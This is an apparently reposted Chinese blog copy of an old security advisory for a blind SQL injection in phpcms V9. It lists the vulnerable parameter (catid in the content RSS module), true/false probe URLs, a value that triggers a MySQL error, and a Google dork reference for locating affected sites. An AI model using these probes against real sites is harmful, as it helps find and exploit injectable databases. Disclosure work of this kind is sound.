phpcms V9 BLind SQL Injection Vulnerability

最新推荐文章于 2024-10-31 21:38:14 发布

转载最新推荐文章于 2024-10-31 21:38:14 发布 · 1.1k 阅读

文章标签：

#sql #mysql #table #2010 #c

Web 代码注入专栏收录该内容

27 篇文章

订阅专栏

本文介绍了一个存在于phpcmsV9中的盲注漏洞，包括软件信息、漏洞类型及利用方式。通过构造不同的catid参数值，可以判断SQL查询真假，从而实现盲注攻击。

=================================================================
phpcms V9 BLind SQL Injection Vulnerability
=================================================================

Software: phpcms V9
Vendor:    www.phpcms.cn
Vuln Type:  BLind SQL Injection
Download link:  http://www.phpcms.cn/2010/1229/326.html
Author:    eidelweiss
contact: eidelweiss[at]windowslive[dot]com
Home:    www.eidelweiss.info

Google Dork: http://www.exploit-db.com/ghdb/3676/ // check here ^_^

References:
http://eidelweiss-advisories.blogspot.com/2011/01/phpcms-v9-blind-sql-injection.html

=================================================================

exploit & p0c

[!] index.php?m=content&c=rss&catid=[valid catid]

Example p0c

[!] http://host/index.php?m=content&c=rss&catid=10  <= True
[!] http://host/index.php?m=content&c=rss&catid=-10 <= False

[+] http://host/index.php?m=content&c=rss&catid=5 <= show MySQL Error (table)

=================================================================

Nothing Impossible In This World Even Nobody`s Perfect

=================================================================

=========================| -=[ E0F ]=- |=========================